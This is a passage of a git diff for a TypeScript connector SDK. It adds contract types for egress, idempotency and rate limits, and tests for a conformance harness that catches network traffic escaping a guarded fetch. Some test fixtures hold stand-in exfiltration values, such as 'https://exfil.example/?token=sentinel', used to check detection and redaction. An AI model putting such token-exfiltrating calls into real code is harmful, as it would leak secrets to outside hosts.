'enforced', + 'declaration-only', + ] as const) { + const audit = new AuditLogger(); + const { tool } = makeConnector({ + permissions: { + sideEffect: 'read', + ...(declared === undefined ? {} : { egressEnforcement: declared }), + }, + policies: { audit }, + }); + // #when + await expect(run(tool, input)).resolves.toEqual({ ok: true }); + // #then — one resolution serves the readback and the audit detail. + expect(audit.events()[0]?.detail).toMatchObject({ + egressEnforcement: connectorEgressPosture(tool), + }); + } + }); + it('records the resolved posture on an allowed connector decision', async () => { // #given for (const egressEnforcement of [ @@ -1431,55 +1483,47 @@ describe('invokeConnector', () => { ); }); - it('rejects with the connector policy error when its connector property cannot be read', async () => { - const audit = new AuditLogger(); - const id = 'direct.unreadable-connector'; - const hostile = new Proxy( - new ConnectorPolicyError(id, 'custom-policy', 'application-owned denial'), - { - get(target, key, receiver) { - if (key === 'connector') throw new Error('trap'); - return Reflect.get(target, key, receiver); - }, - }, - ); - const tool = createConnector({ - id, + const unreadableConnectorId = 'direct.unreadable-connector'; + it.each([ + { + label: + 'the connector policy error when its connector property cannot be read', + id: unreadableConnectorId, description: 'Throw a policy error whose connector property cannot be read', - execute: async () => { - throw hostile; - }, - permissions: { sideEffect: 'read' }, - policies: { audit }, - }); - const failure = await invokeConnector(tool, {}).catch( - (error: unknown) => error, - ); - expect(failure).toBe(hostile); - expect(audit.events()).toEqual([ - expect.objectContaining({ - decision: 'error', - decisionCode: 'CONNECTOR_EXECUTION_FAILED', - detail: expect.objectContaining({ stage: 'execute' }), - }), - ]); - }); - - it('rejects with the connector value when its prototype chain cannot be read', async () => { - // #given - const audit = new AuditLogger(); - const hostile = new Proxy( - { marker: 'unreadable-prototype' }, - { - getPrototypeOf(): never { - throw new Error('prototype unreadable'); + hostile: new Proxy( + new ConnectorPolicyError( + unreadableConnectorId, + 'custom-policy', + 'application-owned denial', + ), + { + get(target, key, receiver) { + if (key === 'connector') throw new Error('trap'); + return Reflect.get(target, key, receiver); + }, }, - }, - ); - const tool = createConnector({ + ), + }, + { + label: 'the connector value when its prototype chain cannot be read', id: 'direct.unreadable-prototype', description: 'Throw a value whose prototype chain cannot be read', + hostile: new Proxy( + { marker: 'unreadable-prototype' }, + { + getPrototypeOf(): never { + throw new Error('prototype unreadable'); + }, + }, + ), + }, + ])('rejects with $label', async ({ id, description, hostile }) => { + // #given + const audit = new AuditLogger(); + const tool = createConnector({ + id, + description, execute: async () => { throw hostile; }, diff --git a/packages/breakwater/src/connector-sdk/contracts.ts b/packages/breakwater/src/connector-sdk/contracts.ts new file mode 100644 index 00000000..533e987e --- /dev/null +++ b/packages/breakwater/src/connector-sdk/contracts.ts @@ -0,0 +1,273 @@ +// SPDX-License-Identifier: Apache-2.0 +// Connector contracts — the manifest, store, policy and connector shapes the +// SDK is written against. +// +// A type-only leaf, so the preset, the D1 stores, the key migration and the +// conformance harness take these declarations without importing the barrel +// that imports them back. + +import type { RequestContext } from '@mastra/core/request-context'; +import type { Tool, ToolExecutionContext } from '@mastra/core/tools'; + +import type { AuditLogger } from '../audit/index.js'; +import type { + NetworkEgressOptions, + SideEffect, + ToolPolicyEvaluator, + WritePermissionsPolicy, +} from '../policy-engine/tool-policy.js'; +import type { Permission } from '../rbac/permission.js'; +import type { EgressFetchBase } from './egress-fetch.js'; + +/** + * Whether a connector's declared egress binds its actual traffic. + * + * The manifest field an author writes and the audit key an operator filters + * on are both `egressEnforcement`; `connectorEgressPosture()` is the readback + * of the value that field resolves to. The audit key keeps the field's name so + * that a log query and a manifest use the same word for the same value, and + * the readback keeps "posture" because it answers for a tool rather than for + * a declaration. + */ +export type ConnectorEgressPosture = 'enforced' | 'declaration-only'; + +/** Permission manifest — what the connector declares about itself. */ +export interface PermissionManifest { + /** Worst side effect the connector can cause. */ + sideEffect: SideEffect; + /** Hostnames this connector calls; gated by the networkEgress policy. */ + egress?: readonly string[]; + /** + * Whether the declared `egress` binds the connector's actual traffic. + * 'enforced' asserts every HTTP request leaves through + * `ConnectorRuntime.fetch`. It covers a connector that issues no HTTP + * request at all; it is a claim about HTTP traffic, not about platform + * bindings (D1, KV, R2, service bindings), which the guard never sees. + * 'declaration-only' states that a vendor SDK or child process carries its + * own transport, so the list is checked against organization policy but not + * against sockets. An omitted field resolves to 'declaration-only': + * nothing has proven enforcement. `connectorEgressPosture()` reads the + * resolved value. + */ + egressEnforcement?: ConnectorEgressPosture; + /** + * Caller must supply a per-call idempotency key + * (IDEMPOTENCY_KEY_CONTEXT_KEY in requestContext). Replays of a stored + * key return the stored result without re-executing. + */ + idempotencyKey?: boolean; + /** Always require human approval, regardless of org policy. */ + requiresApproval?: boolean; + /** + * Connector supports side-effect-free simulation: requires + * `ConnectorConfig.dryRunExecute`. Callers request a simulation per call + * by setting requestContext DRY_RUN_CONTEXT_KEY to true. + */ + dryRun?: boolean; + /** + * Execution budget as '/' — e.g. '100/min'; units are the + * singular s|sec|second|m|min|minute|h|hour|d|day. Enforced with fixed + * windows against `policies.rateLimitStore`; only actual executions + * consume budget (denied calls, replays, and shared in-flight joins do + * not). + */ + rateLimit?: string; + /** + * Allow Mastra background intent for this connector. The default is + * foreground-only. Only a read-only connector may enable this field; + * write-class connectors fail at construction. + */ + background?: boolean; + /** + * Server-derived permissions required to invoke this connector, with + * explicit ALL-OF semantics: the executing principal must hold every + * listed identifier. Enforced against the trusted + * `breakwater.principalPermissions` projection BEFORE the dry-run branch + * and the approval-grant gate — authorization applies to simulations too, + * and a valid approval must not elevate an unauthorized principal. A call + * with no valid projection fails closed. Omission preserves the existing + * approval/policy-only behavior; a present list must be non-empty. + */ + requiredPermissions?: readonly Permission[]; +} + +/** Completed result stored for idempotent replay. */ +export interface IdempotencyRecord { + /** Connector result returned by future calls with the same scoped key. */ + result: unknown; +} + +/** + * Result storage keyed by a private, versioned composite key. Callers must + * treat keys as opaque. The record wrapper distinguishes a stored undefined + * result from a miss. + * + * get/put plus the wrapper's in-flight dedup close same-isolate races only. + * Durable implementations (D1/KV) must implement AtomicIdempotencyStore — + * its reserve() claim is what stops two isolates racing one key from both + * missing get() and both executing. D1IdempotencyStore ships that shape. + */ +export interface IdempotencyStore { + /** Return the completed record for a scoped key, or `undefined` on a miss. */ + get( + key: string, + ): IdempotencyRecord | undefined | Promise; + /** + * Finalize a key's record. `token` is the lease returned by an atomic + * reserve(): when supplied, the store finalizes ONLY if the key still + * belongs to that lease. A stale holder whose lease was taken over cannot + * overwrite the new result. Omit the token on the legacy get/put path, + * which upserts + * unconditionally (same-isolate protection only). + */ + put( + key: string, + record: IdempotencyRecord, + token?: string, + ): void | Promise; +} + +/** + * Outcome of an atomic reservation: execute a newly reserved key, replay a + * completed record, or report that another isolate still owns the key. + */ +export type IdempotencyReservation = + | { + /** This caller owns the reservation and may execute. */ + state: 'reserved'; + /** Opaque lease required to finalize or release the reservation. */ + token: string; + /** Whether this reservation replaced a stale pending holder. */ + tookOver?: boolean; + } + | { + /** A completed result exists and must be replayed without execution. */ + state: 'replay'; + /** Completed result associated with the key. */ + record: IdempotencyRecord; + } + | { + /** Another isolate owns a non-stale reservation. */ + state: 'pending'; + }; + +/** + * Idempotency store with an atomic claim — the shape durable, cross-isolate + * implementations must take: reserve() is a compare-and-set, so two isolates + * racing one key resolve to exactly one 'reserved' winner. The connector + * wrapper prefers this path whenever a store implements it. + */ +export interface AtomicIdempotencyStore extends IdempotencyStore { + /** Atomically reserve a scoped key or return its current state. */ + reserve( + key: string, + ): IdempotencyReservation | Promise; + /** + * Drop a pending reservation after a failed execute — failures stay + * retryable. `token` is the lease from reserve(): when supplied, only the + * matching lease's pending row is dropped, so a stale holder cannot delete + * a newer claim. + */ + release(key: string, token?: string): void | Promise; +} + +/** Non-mutating state returned by an inspectable idempotency store. */ +export type IdempotencyInspection = + | { state: 'absent' } + | { state: 'pending' } + | { state: 'replay'; record: IdempotencyRecord }; + +/** + * Idempotency store that can distinguish an absent key from a pending claim + * without reserving it. Atomic stores need this capability during the v1-to-v2 + * composite-key transition so legacy pending work cannot be mistaken for a + * miss and executed again. + */ +export interface InspectableIdempotencyStore extends IdempotencyStore { + /** Inspect a key without reserving, finalizing, or releasing it. */ + inspect(key: string): IdempotencyInspection | Promise; +} + +/** + * Fixed-window rate-limit counters keyed by connector id. Implementations + * back the manifest's `rateLimit` budget. The store's reach IS the budget's + * reach: InMemoryRateLimitStore caps per isolate (per RUN under DO-per-run + * routing); a declared cap that must hold across isolates needs + * D1RateLimitStore (or an equivalent shared store). + */ +export interface RateLimitStore { + /** + * Atomically count one call against the connector's current fixed window + * and return the post-increment count. `now` is caller-supplied epoch ms + * so stores stay clock-free. + */ + increment( + key: string, + windowMs: number, + now: number, + ): number | Promise; +} + +/** Org-level policy bindings enforced by the connector's execute wrapper. */ +export interface ConnectorPolicies { + /** Organization allowlist applied to the manifest's declared hosts. */ + networkEgress?: NetworkEgressOptions; + /** Organization approval rules for write-class connector IDs. */ + writePermissions?: WritePermissionsPolicy; + /** + * Custom tool-boundary evaluators, run pre-execute after the built-in + * network-egress gate, in registration order. + */ + evaluators?: readonly ToolPolicyEvaluator[]; + /** Store used when the manifest requires an idempotency key. */ + idempotencyStore?: IdempotencyStore; + /** + * Explicit v2 composite-key rollout acknowledgement. Set only after every + * legacy writer sharing the store has been stopped and drained and legacy + * rows have been inventoried. Without it, an absent legacy key fails closed + * instead of racing an old writer that could still create a v1 record. + */ + idempotencyKeyMigration?: 'legacy-writers-drained'; + /** Required when the manifest declares `rateLimit`. */ + rateLimitStore?: RateLimitStore; + /** Optional audit logger for connector decisions and failures. */ + audit?: AuditLogger; + /** + * Base fetch the per-call egress guard wraps before handing it to + * `execute` as `ConnectorRuntime.fetch` (tests inject the vendor mock + * here). Defaults to the runtime's global fetch. + */ + fetch?: EgressFetchBase; + /** + * Refuse, at construction, any connector whose resolved egress posture is not + * 'enforced'. Pass it on a `createConnector()` call whose connector must not + * rely on a boundary outside ConnectorRuntime.fetch. + * + * The construction gate reads this flag for truthiness and validates no + * value: a falsy one leaves the posture unrequired, which is what a caller + * passing `false` asks for. `singleTenantConnectorPolicies()` is stricter + * because it parses its options object through a schema, where the same + * field accepts the literal `true` alone. + */ + requireEgressEnforcement?: true; +} + +/** Breakwater connector with the execution function guaranteed at construction. */ +export type Connector = Tool< + TInput, + TOutput +> & { + execute: NonNullable['execute']>; +}; + +/** Trusted host context accepted by {@link invokeConnector}. */ +export interface ConnectorInvocationOptions { + /** Request context carrying trusted policy, identity, and grant values. */ + requestContext?: RequestContext; + /** Abort signal forwarded to the connector execution context. */ + abortSignal?: AbortSignal; + /** Mastra observability helper, or the public no-op helper when omitted. */ + observe?: ToolExecutionContext['observe']; + /** Exact Mastra tool-call identity used to match a tool-call approval grant. */ + toolCallId?: string; +} diff --git a/packages/breakwater/src/connector-sdk/d1-idempotency-store.ts b/packages/breakwater/src/connector-sdk/d1-idempotency-store.ts index da7b2b0b..7b544fac 100644 --- a/packages/breakwater/src/connector-sdk/d1-idempotency-store.ts +++ b/packages/breakwater/src/connector-sdk/d1-idempotency-store.ts @@ -8,18 +8,18 @@ // platform-agnostic — no @cloudflare/workers-types import — so tests back // the interfaces with node:sqlite and Workers pass env.DB directly. -import { - ATOMIC_LEGACY_IDEMPOTENCY_MIGRATION, - type AtomicLegacyIdempotencyMigrationRequest, - type AtomicLegacyIdempotencyMigrationResult, -} from './idempotency-migration.js'; import type { AtomicIdempotencyStore, IdempotencyInspection, IdempotencyRecord, IdempotencyReservation, InspectableIdempotencyStore, -} from './index.js'; +} from './contracts.js'; +import { + ATOMIC_LEGACY_IDEMPOTENCY_MIGRATION, + type AtomicLegacyIdempotencyMigrationRequest, + type AtomicLegacyIdempotencyMigrationResult, +} from './idempotency-migration.js'; import { newToken } from './new-token.js'; /** The subset of D1Database this store uses. */ diff --git a/packages/breakwater/src/connector-sdk/d1-rate-limit-store.ts b/packages/breakwater/src/connector-sdk/d1-rate-limit-store.ts index 5ab9d32d..022b77e6 100644 --- a/packages/breakwater/src/connector-sdk/d1-rate-limit-store.ts +++ b/packages/breakwater/src/connector-sdk/d1-rate-limit-store.ts @@ -12,7 +12,7 @@ // D1IdempotencyStore: tests back the interface with node:sqlite, Workers // pass env.DB. -import type { RateLimitStore } from './index.js'; +import type { RateLimitStore } from './contracts.js'; /** The subset of D1Database this store uses. */ export interface RateLimitDatabase { diff --git a/packages/breakwater/src/connector-sdk/egress-conformance.test.ts b/packages/breakwater/src/connector-sdk/egress-conformance.test.ts index 7a586fa5..d97105c1 100644 --- a/packages/breakwater/src/connector-sdk/egress-conformance.test.ts +++ b/packages/breakwater/src/connector-sdk/egress-conformance.test.ts @@ -156,7 +156,6 @@ describe('connector egress conformance', () => { }); it('reports NETWORK_IO_OUTSIDE_RUNTIME_FETCH naming the escaping host only', async () => { - // #given // #when const report = await rejected( assertConnectorConformance(escaping(), { @@ -182,7 +181,6 @@ describe('connector egress conformance', () => { }); it('omits the path and query string from an escape record', async () => { - // #given // #when const report = await rejected( assertConnectorConformance(escaping(), { @@ -289,8 +287,10 @@ describe('connector egress conformance', () => { }); it('reports INSTRUMENTATION_REPLACED when a case redefines globalThis.fetch during execution', async () => { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); const replacementFetch = vi.fn(async () => new Response()); + // #when const report = await rejected( assertConnectorConformance( factory(async (_input, _context, runtime) => { @@ -305,6 +305,7 @@ describe('connector egress conformance', () => { { manifest, cases: [requestCase] }, ), ); + // #then expect(replacementFetch).toHaveBeenCalledTimes(1); expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); expect(report.conformant).toBe(false); @@ -328,10 +329,12 @@ describe('connector egress conformance', () => { it('reports INSTRUMENTATION_REPLACED when a case redefines a supplied entry point', async () => { for (const throws of [false, true]) { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); const holder = { fetch: async () => new Response() }; const original = Object.getOwnPropertyDescriptor(holder, 'fetch'); const replacementFetch = vi.fn(async () => new Response()); + // #when const report = await rejected( assertConnectorConformance( quietFactory(async () => { @@ -343,6 +346,7 @@ describe('connector egress conformance', () => { entryOptions(holder), ), ); + // #then expect(replacementFetch).toHaveBeenCalledTimes(1); expect(Object.getOwnPropertyDescriptor(holder, 'fetch')).toEqual( original, @@ -367,8 +371,10 @@ describe('connector egress conformance', () => { }); it('refuses the run when the factory redefines globalThis.fetch during probe construction', async () => { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); const execute = vi.fn(async () => ({})); + // #when const report = await rejected( assertConnectorConformance( (runtime) => { @@ -380,6 +386,7 @@ describe('connector egress conformance', () => { { manifest: noEgress, cases: [quietCase] }, ), ); + // #then expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); expect(execute).not.toHaveBeenCalled(); expect(report.conformant).toBe(false); @@ -395,10 +402,12 @@ describe('connector egress conformance', () => { }); it('records INSTRUMENTATION_REPLACED when a case assigns globalThis.fetch and keeps the trap', async () => { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); const replacement = vi.fn(async () => new Response()); let assigned = false; let intact = false; + // #when const report = await rejected( assertConnectorConformance( factory(async () => { @@ -413,6 +422,7 @@ describe('connector egress conformance', () => { { manifest, cases: [requestCase] }, ), ); + // #then expect(assigned).toBe(true); expect(intact).toBe(true); expect(replacement).not.toHaveBeenCalled(); @@ -437,12 +447,14 @@ describe('connector egress conformance', () => { }); it('records INSTRUMENTATION_REPLACED when a case assigns a supplied entry point and keeps the trap', async () => { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); const holder = { fetch: async (_url: string) => new Response() }; const original = Object.getOwnPropertyDescriptor(holder, 'fetch'); const replacement = vi.fn(async () => new Response()); let assigned = false; let intact = false; + // #when const report = await rejected( assertConnectorConformance( quietFactory(async () => { @@ -457,6 +469,7 @@ describe('connector egress conformance', () => { entryOptions(holder), ), ); + // #then expect(assigned).toBe(true); expect(intact).toBe(true); expect(replacement).not.toHaveBeenCalled(); @@ -482,6 +495,7 @@ describe('connector egress conformance', () => { }); it('keeps the assignment install for a writable non-configurable entry point', async () => { + // #given const original = async () => new Response(); const holder = { fetch: original }; Object.defineProperty(holder, 'fetch', { @@ -494,10 +508,12 @@ describe('connector egress conformance', () => { during = Object.getOwnPropertyDescriptor(holder, 'fetch'); return {}; }); + // #when const report = await assertConnectorConformance( quietFactory(execute), entryOptions(holder), ); + // #then expect(execute).toHaveBeenCalledTimes(1); expect(during).toEqual({ ...saved, value: expect.any(Function) }); expect(during?.value).not.toBe(original); @@ -510,8 +526,10 @@ describe('connector egress conformance', () => { // CONNECTORS.md, "Conformance limits": the item on a reference captured // before installation and a redefinition the case reverses before it settles. it('does not observe a request sent through a redefinition the case reverses before settling', async () => { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); const replacement = vi.fn(async () => new Response()); + // #when const report = await assertConnectorConformance( factory(async (_input, _context, runtime) => { const installed = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); @@ -527,6 +545,7 @@ describe('connector egress conformance', () => { }), { manifest, cases: [requestCase] }, ); + // #then expect(replacement).toHaveBeenCalledTimes(1); expect(report.conformant).toBe(true); expect(report.findings).toEqual([]); @@ -540,10 +559,12 @@ describe('connector egress conformance', () => { }); it('refuses the run when the factory assigns globalThis.fetch during probe construction', async () => { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); const replacement = vi.fn(async () => new Response()); const execute = vi.fn(async () => ({})); let assigned = false; + // #when const report = await rejected( assertConnectorConformance( (runtime) => { @@ -555,6 +576,7 @@ describe('connector egress conformance', () => { { manifest: noEgress, cases: [quietCase] }, ), ); + // #then expect(assigned).toBe(true); expect(replacement).not.toHaveBeenCalled(); expect(execute).not.toHaveBeenCalled(); @@ -571,10 +593,12 @@ describe('connector egress conformance', () => { }); it('reports INSTRUMENTATION_REPLACED without reading a redefined getter', async () => { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); const getter = vi.fn(() => { throw new Error('getter must not run'); }); + // #when const report = await rejected( assertConnectorConformance( quietFactory(async () => { @@ -584,6 +608,7 @@ describe('connector egress conformance', () => { { manifest: noEgress, cases: [quietCase] }, ), ); + // #then expect(getter).not.toHaveBeenCalled(); expect(report.conformant).toBe(false); expect(report.findings).toEqual([ @@ -591,14 +616,16 @@ describe('connector egress conformance', () => { code: 'INSTRUMENTATION_REPLACED', case: 'quiet', reason: - 'globalThis.fetch descriptor differs from the one the harness installed: accessor (configurable: true)', + 'globalThis.fetch descriptor differs from the one the harness installed: accessor (configurable: true); whether calls made after the replacement reached the trap was not checked', }, ]); expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); }); it('reports INSTRUMENTATION_REPLACED without claiming unobserved calls when a data property retains the trap', async () => { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + // #when const report = await rejected( assertConnectorConformance( quietFactory(async () => { @@ -613,6 +640,7 @@ describe('connector egress conformance', () => { { manifest: noEgress, cases: [quietCase] }, ), ); + // #then expect(report.conformant).toBe(false); expect(report.findings).toEqual([ { @@ -633,14 +661,17 @@ describe('connector egress conformance', () => { expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); }); - it.each([ - { label: 'null', value: null, description: 'null' }, - { label: 'a string', value: 'boom', description: 'a string' }, + it.each<{ label: string; value: unknown; forbidden: readonly string[] }>([ + { label: 'null', value: null, forbidden: [] }, + { label: 'a string', value: 'boom', forbidden: ['boom'] }, ])('reports CASE_INVOCATION_FAILED with a type description when the case throws $label', async ({ + label, value, - description, + forbidden, }) => { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + // #when const report = await rejected( assertConnectorConformance( quietFactory(async () => { @@ -649,20 +680,25 @@ describe('connector egress conformance', () => { { manifest: noEgress, cases: [quietCase] }, ), ); + // #then expect(report.conformant).toBe(false); expect(report.findings).toEqual([ { code: 'CASE_INVOCATION_FAILED', case: 'quiet', - reason: `case invocation failed with ${description}`, + reason: `case invocation failed with ${label}`, }, ]); - expect(JSON.stringify(report)).not.toContain('boom'); + for (const text of forbidden) { + expect(JSON.stringify(report)).not.toContain(text); + } expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); }); it('reports CASE_INVOCATION_FAILED after a guarded request followed by an Error', async () => { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + // #when const report = await rejected( assertConnectorConformance( factory(async (_input, _context, runtime) => { @@ -672,6 +708,7 @@ describe('connector egress conformance', () => { { manifest, cases: [requestCase] }, ), ); + // #then expect(report.conformant).toBe(false); expect(report.cases[0]?.proved).toBe('guarded-request'); expect(report.findings).toEqual([ @@ -686,8 +723,10 @@ describe('connector egress conformance', () => { }); it('records FACTORY_FAILED when the case factory throws a null-prototype object', async () => { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); let constructions = 0; + // #when const report = await rejected( assertConnectorConformance( (runtime) => { @@ -697,6 +736,7 @@ describe('connector egress conformance', () => { { manifest, cases: [requestCase] }, ), ); + // #then expect(report.conformant).toBe(false); expect(report.findings).toEqual([ { code: 'FACTORY_FAILED', case: 'request', reason: 'a non-Error object' }, @@ -705,7 +745,55 @@ describe('connector egress conformance', () => { expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); }); + it('records FACTORY_FAILED for a thrown function by type, never as its source text', async () => { + // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const thrown = function exfiltrate() { + return 'https://exfil.example/?token=sentinel'; + }; + let constructions = 0; + // #when + const report = await rejected( + assertConnectorConformance( + (runtime) => { + if (++constructions === 2) throw thrown; + return factory()(runtime); + }, + { manifest, cases: [requestCase] }, + ), + ); + // #then + expect(report.findings).toEqual([ + { code: 'FACTORY_FAILED', case: 'request', reason: 'a function' }, + ]); + expect(JSON.stringify(report)).not.toContain('sentinel'); + expect(JSON.stringify(report)).not.toContain('exfiltrate'); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('records FACTORY_FAILED with the string representation of a thrown number', async () => { + // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + let constructions = 0; + // #when + const report = await rejected( + assertConnectorConformance( + (runtime) => { + if (++constructions === 2) throw 42; + return factory()(runtime); + }, + { manifest, cases: [requestCase] }, + ), + ); + // #then + expect(report.findings).toEqual([ + { code: 'FACTORY_FAILED', case: 'request', reason: '42' }, + ]); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + it('records FACTORY_FAILED when the factory throws an Error whose message getter throws', async () => { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); const error = Object.defineProperty(new Error(), 'message', { get() { @@ -714,6 +802,7 @@ describe('connector egress conformance', () => { }); for (const failAt of [1, 2]) { let constructions = 0; + // #when const report = await rejected( assertConnectorConformance( (runtime) => { @@ -723,6 +812,7 @@ describe('connector egress conformance', () => { { manifest, cases: [requestCase] }, ), ); + // #then expect(report.conformant).toBe(false); expect(report.findings).toEqual([ { @@ -738,6 +828,7 @@ describe('connector egress conformance', () => { }); it('restores globalThis.fetch when a supplied target throws a null-prototype object during restoration', async () => { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); for (const rollback of [false, true]) { const holder = new Proxy( @@ -749,6 +840,7 @@ describe('connector egress conformance', () => { }, }, ); + // #when const report = await rejected( assertConnectorConformance(quietFactory(), { ...entryOptions(holder), @@ -766,6 +858,7 @@ describe('connector egress conformance', () => { ], }), ); + // #then expect(report.conformant).toBe(false); expect(report.findings).toContainEqual({ code: 'INSTRUMENTATION_NOT_RESTORED', @@ -785,6 +878,7 @@ describe('connector egress conformance', () => { }); it("reports CASE_INVOCATION_FAILED when the thrown value's constructor getter throws", async () => { + // #given const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); const getter = vi.fn(() => { throw new Error('unreadable constructor'); @@ -799,6 +893,7 @@ describe('connector egress conformance', () => { } else { Object.defineProperty(error, 'constructor', { get: getter }); } + // #when const report = await rejected( assertConnectorConformance( quietFactory(async () => { @@ -807,6 +902,7 @@ describe('connector egress conformance', () => { { manifest: noEgress, cases: [quietCase] }, ), ); + // #then expect(report.conformant).toBe(false); expect(report.findings).toEqual([ { @@ -824,7 +920,52 @@ describe('connector egress conformance', () => { expect(getter).toHaveBeenCalledTimes(1); }); + it.each([ + { + label: 'a name that is not a plain identifier', + name: 'Error: injected https://exfil.example/?token=sentinel', + expected: 'unknown', + }, + { + label: 'a name longer than 64 characters', + name: `E${'x'.repeat(64)}`, + expected: 'unknown', + }, + { + label: 'a name of exactly 64 characters', + name: `E${'x'.repeat(63)}`, + expected: `E${'x'.repeat(63)}`, + }, + ])('bounds the CASE_INVOCATION_FAILED reason against $label', async ({ + name, + expected, + }) => { + // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + class Hostile extends Error {} + Object.defineProperty(Hostile, 'name', { value: name }); + // #when + const report = await rejected( + assertConnectorConformance( + quietFactory(async () => { + throw new Hostile(); + }), + { manifest: noEgress, cases: [quietCase] }, + ), + ); + // #then + expect(report.findings).toEqual([ + { + code: 'CASE_INVOCATION_FAILED', + case: 'quiet', + reason: `case invocation failed with ${expected}`, + }, + ]); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + it('reports CASE_INVOCATION_FAILED when execute throws undefined', async () => { + // #when const report = await rejected( assertConnectorConformance( quietFactory(async () => { @@ -833,6 +974,7 @@ describe('connector egress conformance', () => { { manifest: noEgress, cases: [quietCase] }, ), ); + // #then expect(report.conformant).toBe(false); expect(report.findings).toEqual([ { @@ -874,6 +1016,11 @@ describe('connector egress conformance', () => { member: 'audit', }), ]); + expect( + report.findings.find((f) => f.code === 'POLICIES_NOT_WIRED')?.reason, + ).toBe( + 'the invocation failed before the subject could record an audit witness on the supplied logger', + ); expect(execute).not.toHaveBeenCalled(); expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); }); @@ -944,9 +1091,7 @@ describe('connector egress conformance', () => { const subject: ConnectorConformanceFactory = ( runtime, ) => { - const base = runtime.policies.fetch as unknown as ( - url: string, - ) => Promise; + const base = runtime.policies.fetch as (url: string) => Promise; return quietFactory(async (input) => { if ((input as { phase?: string }).phase === 'capture') { late = (async () => { @@ -959,6 +1104,10 @@ describe('connector egress conformance', () => { })(); return {}; } + // Releasing the gate queues case 1's abandoned continuation as a + // microtask; the zero-delay timer holds case 2 open across it, so + // the retained transport is called after case 1 settles and while + // the run is still open. release(); await new Promise((resolve) => { setTimeout(resolve, 0); @@ -990,8 +1139,9 @@ describe('connector egress conformance', () => { expect(report.findings).toEqual([ { code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', + observedAfterCase: 'capture', reason: - "connector reached policies.fetch outside runtime.fetch (host: exfil.example); observed after case 'capture' settled", + "connector reached policies.fetch for a host the registered egress declaration does not cover (host: exfil.example); observed after case 'capture' settled", }, ]); expect(report.findings[0]).not.toHaveProperty('case'); @@ -1003,6 +1153,7 @@ describe('connector egress conformance', () => { }); it('drops a probe escape observed after early refusal', async () => { + // #given let base!: (url: string) => Promise; const report = await rejected( assertConnectorConformance( @@ -1013,32 +1164,119 @@ describe('connector egress conformance', () => { { manifest: noEgress, cases: [quietCase] }, ), ); - const findingsBefore = structuredClone(report.findings); - const lengthBefore = report.findings.length; + const findingsSnapshot = structuredClone(report.findings); + // #when expect(() => base('https://exfil.example/after')).toThrow( 'connector called the supplied base transport directly', ); - expect(report.findings).toHaveLength(lengthBefore); - expect(report.findings).toEqual(findingsBefore); + // #then + expect(report.findings).toEqual(findingsSnapshot); + }); + + it('names the probe phase for an escape on a transport retained from probe construction', async () => { + // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + let probeBase: ((url: string) => Promise) | undefined; + let refusal: unknown; + const subject: ConnectorConformanceFactory = ( + runtime, + ) => { + probeBase ??= runtime.policies.fetch as (url: string) => Promise; + return quietFactory(async () => { + try { + await probeBase?.('https://exfil.example/probe'); + } catch (error) { + refusal = error; + } + return {}; + })(runtime); + }; + // #when + const report = await rejected( + assertConnectorConformance(subject, { + manifest: noEgress, + cases: [quietCase], + }), + ); + // #then + expect(report.findings).toEqual([ + { + code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', + reason: + 'connector reached policies.fetch for a host the registered egress declaration does not cover (host: exfil.example); observed after the probe factory returned', + }, + ]); + expect(report.findings[0]).not.toHaveProperty('case'); + expect(report.findings[0]).not.toHaveProperty('observedAfterCase'); + expect(report.cases[0]?.escapes).toEqual([]); + expect(refusal).toBeInstanceOf(Error); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('records an instrumentation setter called after its case settled as a run-level finding', async () => { + // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + let capturedSetter: PropertyDescriptor['set']; + const subject: ConnectorConformanceFactory = (runtime) => + quietFactory(async (input) => { + if ((input as { phase?: string }).phase === 'capture') { + capturedSetter = Object.getOwnPropertyDescriptor( + globalThis, + 'fetch', + )?.set; + return {}; + } + capturedSetter?.call(globalThis, async () => new Response()); + return {}; + })(runtime); + // #when + const report = await rejected( + assertConnectorConformance(subject, { + manifest: noEgress, + cases: [ + { + name: 'capture', + input: { phase: 'capture' }, + expect: { outcome: 'no-network' }, + }, + { + name: 'call', + input: { phase: 'call' }, + expect: { outcome: 'no-network' }, + }, + ], + }), + ); + // #then + expect(report.findings).toEqual([ + { + code: 'INSTRUMENTATION_REPLACED', + observedAfterCase: 'capture', + reason: + "the case assigned 